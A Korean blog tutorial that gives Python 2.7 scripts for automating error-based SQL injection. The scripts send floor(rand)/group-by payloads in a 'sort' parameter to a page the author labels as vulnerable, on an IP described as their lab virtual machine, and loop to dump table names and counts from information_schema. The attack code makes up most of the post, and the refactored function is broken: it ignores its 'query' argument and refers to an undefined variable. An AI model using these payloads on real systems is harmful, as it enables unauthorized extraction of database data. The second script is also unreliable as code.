[Python] 스키마 정보를 추출하기

 스키마 정보 추출 자동화 

파이썬 라이브러리를 이용하여 테이블과 칼럼 정보를 추출하는 스크립트를 구현합니다 . 

지난 포스팅의 코드를 수정하여 진행합니다.

파이썬 라이브러리를 이용한 HTTP.REQUEST



테이블 목록 획득하기 

테이블 목록은 HTTP.REQUEST에서 구현한 소스코드의 수정으로 획득할 수 있습니다 . 

(지난 포스팅에서는 파이썬 3을 사용하였고 현재는 파이썬 2.7을 사용하였습니다.) 


DB테이블의 구조가 54개이기 때문에 54번 반복하도록 반복문을 이용해 코드를 수정합니다 .

스키마 추출 코드

#-*- coding: utf-8 -*-
import httplib
import urllib

headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
"Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}

cnt = 54
delims = "!~!~!"
for i in range(0,cnt):

    domain = "3.239.29.151"  # 가상머신 주소
    url = "/mysql_sort.php"  # 취약한 URL
    tname = "(select+table_name+from+information_schema.tables+where+table_type='base+table'+limit+1+offset+"+ str(i) + ")"

    params = "sort=(select+1+from(select+count(*),concat('" +delims+ "'," +tname+ ",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"

    conn = httplib.HTTPConnection(domain,"80")
    #conn = httplib.HTTPSCOnection(domain, "443")
    conn.request("GET",url + "?" + params,None,headers)
    #conn.request("POST",url,params,headers)
    response = conn.getresponse().read()
    print response.split(delims)[1]

코드의 for문은 MySQL 공격 쿼리의 OFFSET 값을 하나씩 증가 시킵니다 . 


실행 결과













테이블 목록이 출력되었습니다 . 

레코드 카운트도 자동 획득하는 방식으로 수정하겠습니다 . 


수정 스크립트 코드 

for문의 코드를 상단에 복사 하고 for 문밖이므로 들여쓰기 제거하고 SQL 쿼리를 다음과 같이 수정합니다 . 

#-*- coding: utf-8 -*-
import httplib
import urllib

def httpreq(query):

    headers = { "User-Agent" : "Mozilla/5.0 (Window NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36",
    "Content-type": "application/x-www-form-urlencoded","Accept": "text/html", "Connection": "keep-alive"}


    delims = "!~!~!"
    domain = "3.239.29.151"  # 가상머신 주소
    url = "/mysql_sort.php"  # 취약한 URL
    params = "sort=(select+1+from(select+count(*),concat('" +delims+ "'," +tname+ ",'" +delims+ "',floor(rand(0)*2))a+from+information_schema.tables+group+by+a)T)%23"

    conn = httplib.HTTPConnection(domain,"80")
    #conn = httplib.HTTPSCOnection(domain, "443")
    conn.request("GET",url + "?" + params,None,headers)
    #conn.request("POST",url,params,headers)
    response = conn.getresponse().read()
    return response.split(delims)[1]

rcount = "(select+count(*)+from+information_schema.tables+where+table_type='base+table')"
cnt = int(httpreq(rcount))

레코드 개수 까지 자옫으로 획득하는 기능을 구현했습니다 . 

수정한 코드를 보면 HTTP 요청이 반복되고 있습니다. 

코드의 가독성과 효율을 높이기 위해서 HTTP 요청문을 함수로 구현합니다. 







댓글